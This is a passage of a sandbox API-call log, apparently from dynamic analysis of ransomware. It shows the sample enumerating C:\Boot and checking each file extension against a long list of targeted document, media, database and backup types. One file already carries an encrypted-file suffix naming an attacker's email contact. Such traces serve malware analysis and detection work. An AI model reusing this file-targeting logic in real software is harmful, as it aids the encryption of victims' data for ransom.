	[0153.376] lstrlenW (lpString=".lasso") returned 6
	[0153.377] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0153.377] lstrlenW (lpString=".lbi") returned 4
	[0153.377] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".lgf") returned 4
	[0153.377] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".lgp") returned 4
	[0153.377] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".log") returned 4
	[0153.377] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".m1v") returned 4
	[0153.377] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".m4a") returned 4
	[0153.377] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".m4v") returned 4
	[0153.377] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".max") returned 4
	[0153.377] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".md") returned 3
	[0153.377] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0153.377] lstrlenW (lpString=".mda") returned 4
	[0153.377] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mdb") returned 4
	[0153.377] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mde") returned 4
	[0153.377] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mdf") returned 4
	[0153.377] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mdw") returned 4
	[0153.377] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mef") returned 4
	[0153.377] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mft") returned 4
	[0153.377] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mfw") returned 4
	[0153.377] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mht") returned 4
	[0153.377] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0153.377] lstrlenW (lpString=".mhtml") returned 6
	[0153.378] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0153.378] lstrlenW (lpString=".mka") returned 4
	[0153.378] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mkidx") returned 6
	[0153.378] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0153.378] lstrlenW (lpString=".mkv") returned 4
	[0153.378] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mos") returned 4
	[0153.378] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mov") returned 4
	[0153.378] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mp3") returned 4
	[0153.378] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mp4") returned 4
	[0153.378] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mpeg") returned 5
	[0153.378] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0153.378] lstrlenW (lpString=".mpg") returned 4
	[0153.378] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mpv") returned 4
	[0153.378] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mrw") returned 4
	[0153.378] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".msg") returned 4
	[0153.378] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".mxl") returned 4
	[0153.378] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".myd") returned 4
	[0153.378] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".myi") returned 4
	[0153.378] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".nef") returned 4
	[0153.378] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".nrw") returned 4
	[0153.378] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".obj") returned 4
	[0153.378] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0153.378] lstrlenW (lpString=".odb") returned 4
	[0153.378] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".odc") returned 4
	[0153.379] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".odm") returned 4
	[0153.379] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".odp") returned 4
	[0153.379] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".ods") returned 4
	[0153.379] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".oft") returned 4
	[0153.379] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".one") returned 4
	[0153.379] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".onepkg") returned 7
	[0153.379] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0153.379] lstrlenW (lpString=".onetoc2") returned 8
	[0153.379] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1
	[0153.379] lstrlenW (lpString=".opt") returned 4
	[0153.379] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".oqy") returned 4
	[0153.379] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".orf") returned 4
	[0153.379] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".p12") returned 4
	[0153.379] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".p7b") returned 4
	[0153.379] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".p7c") returned 4
	[0153.379] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".pam") returned 4
	[0153.379] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".pbm") returned 4
	[0153.379] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".pct") returned 4
	[0153.379] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0153.379] lstrlenW (lpString=".pcx") returned 4
	[0153.379] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pdd") returned 4
	[0153.380] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pdf") returned 4
	[0153.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pdp") returned 4
	[0153.380] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pef") returned 4
	[0153.380] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pem") returned 4
	[0153.380] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pff") returned 4
	[0153.380] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pfm") returned 4
	[0153.380] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pfx") returned 4
	[0153.380] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pgm") returned 4
	[0153.380] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".php") returned 4
	[0153.380] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".php3") returned 5
	[0153.380] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0153.380] lstrlenW (lpString=".php4") returned 5
	[0153.380] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0153.380] lstrlenW (lpString=".php5") returned 5
	[0153.380] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0153.380] lstrlenW (lpString=".phtml") returned 6
	[0153.380] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0153.380] lstrlenW (lpString=".pict") returned 5
	[0153.380] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0153.380] lstrlenW (lpString=".pl") returned 3
	[0153.380] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0153.380] lstrlenW (lpString=".pls") returned 4
	[0153.380] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pm") returned 3
	[0153.380] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0153.380] lstrlenW (lpString=".png") returned 4
	[0153.380] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0153.380] lstrlenW (lpString=".pnm") returned 4
	[0153.381] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".pot") returned 4
	[0153.381] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".potm") returned 5
	[0153.381] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0153.381] lstrlenW (lpString=".potx") returned 5
	[0153.381] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0153.381] lstrlenW (lpString=".ppa") returned 4
	[0153.381] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".ppam") returned 5
	[0153.381] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0153.381] lstrlenW (lpString=".ppm") returned 4
	[0153.381] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".pps") returned 4
	[0153.381] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".ppsm") returned 5
	[0153.381] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0153.381] lstrlenW (lpString=".ppt") returned 4
	[0153.381] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".pptm") returned 5
	[0153.381] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0153.381] lstrlenW (lpString=".pptx") returned 5
	[0153.381] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0153.381] lstrlenW (lpString=".prn") returned 4
	[0153.381] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".ps") returned 3
	[0153.381] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0153.381] lstrlenW (lpString=".psb") returned 4
	[0153.381] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".psd") returned 4
	[0153.381] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".pst") returned 4
	[0153.381] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".ptx") returned 4
	[0153.381] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".pub") returned 4
	[0153.381] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0153.381] lstrlenW (lpString=".pwm") returned 4
	[0153.381] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0153.382] lstrlenW (lpString=".pxr") returned 4
	[0153.382] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0153.382] lstrlenW (lpString=".py") returned 3
	[0153.382] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0153.382] lstrlenW (lpString=".qt") returned 3
	[0153.382] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0153.382] lstrlenW (lpString=".r3d") returned 4
	[0153.382] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0153.382] lstrlenW (lpString=".raf") returned 4
	[0153.382] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0153.382] lstrlenW (lpString=".rar") returned 4
	[0153.382] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0153.382] lstrlenW (lpString=".raw") returned 4
	[0153.382] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0153.382] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa0725ae4, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0725ae4, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa074b686, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="BOOTSTAT.DAT.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="BOOTST~1.GTF")) returned 1
	[0153.382] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0153.382] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0153.382] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.382] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140598
	[0153.383] FindNextFileW (in: hFindFile=0x4140598, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.383] FindNextFileW (in: hFindFile=0x4140598, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0153.383] FindNextFileW (in: hFindFile=0x4140598, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0153.384] FindNextFileW (in: hFindFile=0x4140598, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0153.384] FindClose (in: hFindFile=0x4140598 | out: hFindFile=0x4140598) returned 1
	[0153.384] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.384] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0153.384] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13
	[0153.384] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\da-DK") returned 1
	[0153.384] lstrlenW (lpString="da-DK") returned 5
	[0153.384] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-DK") returned -1
	[0153.384] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.384] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13
	[0153.384] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140818
	[0153.385] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.385] FindNextFileW (in: hFindFile=0x4140818, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0153.385] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.385] lstrlenW (lpString=".1cd") returned 4
	[0153.385] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.385] lstrlenW (lpString=".3ds") returned 4
	[0153.385] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0153.385] lstrlenW (lpString=".3fr") returned 4
	[0153.385] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0153.385] lstrlenW (lpString=".3g2") returned 4
	[0153.385] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0153.385] lstrlenW (lpString=".3gp") returned 4
	[0153.385] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0153.385] lstrlenW (lpString=".7z") returned 3
	[0153.385] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.385] lstrlenW (lpString=".accda") returned 6
	[0153.385] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0153.385] lstrlenW (lpString=".accdb") returned 6
	[0153.385] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0153.385] lstrlenW (lpString=".accdc") returned 6
	[0153.385] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0153.385] lstrlenW (lpString=".accde") returned 6
	[0153.385] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0153.385] lstrlenW (lpString=".accdt") returned 6
	[0153.385] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0153.385] lstrlenW (lpString=".accdw") returned 6
	[0153.385] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0153.386] lstrlenW (lpString=".adb") returned 4
	[0153.386] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".adp") returned 4
	[0153.386] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ai") returned 3
	[0153.386] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0153.386] lstrlenW (lpString=".ai3") returned 4
	[0153.386] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ai4") returned 4
	[0153.386] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ai5") returned 4
	[0153.386] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ai6") returned 4
	[0153.386] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ai7") returned 4
	[0153.386] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ai8") returned 4
	[0153.386] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".anim") returned 5
	[0153.386] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0153.386] lstrlenW (lpString=".arw") returned 4
	[0153.386] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".as") returned 3
	[0153.386] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0153.386] lstrlenW (lpString=".asa") returned 4
	[0153.386] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".asc") returned 4
	[0153.386] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".ascx") returned 5
	[0153.386] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0153.386] lstrlenW (lpString=".asm") returned 4
	[0153.386] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".asmx") returned 5
	[0153.386] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0153.386] lstrlenW (lpString=".asp") returned 4
	[0153.386] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0153.386] lstrlenW (lpString=".aspx") returned 5
	[0153.387] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0153.387] lstrlenW (lpString=".asr") returned 4
	[0153.387] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".asx") returned 4
	[0153.387] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".avi") returned 4
	[0153.387] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".avs") returned 4
	[0153.387] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".backup") returned 7
	[0153.387] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0153.387] lstrlenW (lpString=".bak") returned 4
	[0153.387] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".bay") returned 4
	[0153.387] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".bd") returned 3
	[0153.387] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0153.387] lstrlenW (lpString=".bin") returned 4
	[0153.387] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".bmp") returned 4
	[0153.387] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".bz2") returned 4
	[0153.387] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".c") returned 2
	[0153.387] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0153.387] lstrlenW (lpString=".cdr") returned 4
	[0153.387] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".cer") returned 4
	[0153.387] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".cf") returned 3
	[0153.387] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0153.387] lstrlenW (lpString=".cfc") returned 4
	[0153.387] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".cfm") returned 4
	[0153.387] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0153.387] lstrlenW (lpString=".cfml") returned 5
	[0153.387] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0153.387] lstrlenW (lpString=".cfu") returned 4
	[0153.388] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".chm") returned 4
	[0153.388] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".cin") returned 4
	[0153.388] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".class") returned 6
	[0153.388] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0153.388] lstrlenW (lpString=".clx") returned 4
	[0153.388] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0153.388] lstrlenW (lpString=".config") returned 7
	[0153.388] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
